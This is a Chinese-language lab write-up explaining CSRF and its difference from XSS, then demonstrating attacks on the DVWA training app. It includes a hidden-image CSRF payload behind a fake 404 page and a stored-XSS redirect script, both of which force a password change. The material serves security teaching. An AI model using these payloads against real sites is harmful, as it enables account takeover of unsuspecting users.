一、csrf(Cross-site request forgery)介绍
(1)csrf概念
跨站请求伪造,是指利用受害者尚未失效的身份信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不是情的情况下以受害人的身份向服务器发送请求,从而完成非法操作;
(2)csrf与xss区别
csrf属于业务逻辑漏洞,在服务器看来,所有请求都是合法的;csrf是服务器信任客户(经过身份验证的);
xss属于技术漏洞;是客户信任服务器
(3)csfr利用方法
3.htmlcsrf
抓包利用burp创建poc写入4.html
结合存储型xss来进行重定向
二、DVWA中csrf实验
1、low级别
攻击者:win10 (admin,password)
受害者:win7 (1337,charley)
(1)使用win10(admin,password)登录dvwa,修改密码为123
(2)使用burp suite抓包,获取改密码的URL
(3)使用win7(admin,charley)登录dvwa,点击url
(4)密码修改成功
(5)使用win10登录(1337,123),登录成功
三、拓展:隐藏URL
1、超链接
使用kali开启web网页服务,创建超链接,将url放到超链接中,放到网站目录下;让受害者访问http://192.168.137.4/3.html即可,相对更加隐蔽;
2、使用burp创建poc
(1)使用win 10(admin,password)登录,修改密码为123,抓包
(2)生成poc文件
(3)将选中文件放入kali的web服务器下的4.html文件中,让受害者访问http://192.168.137.4/4.html,可以完成密码修改;
3、使用报错页面不让受害者发现
(1)将此代码写入html文件中,受害者正在登录dvwa时,让其使用同一个游览器执行此html文件;
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
3、结合存储型xss操作
1、利用存储型xss将代码写入服务器,有用户访问服务器即可修改密码为123;
<script>window.location='http://10.133.2.94/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change'</script>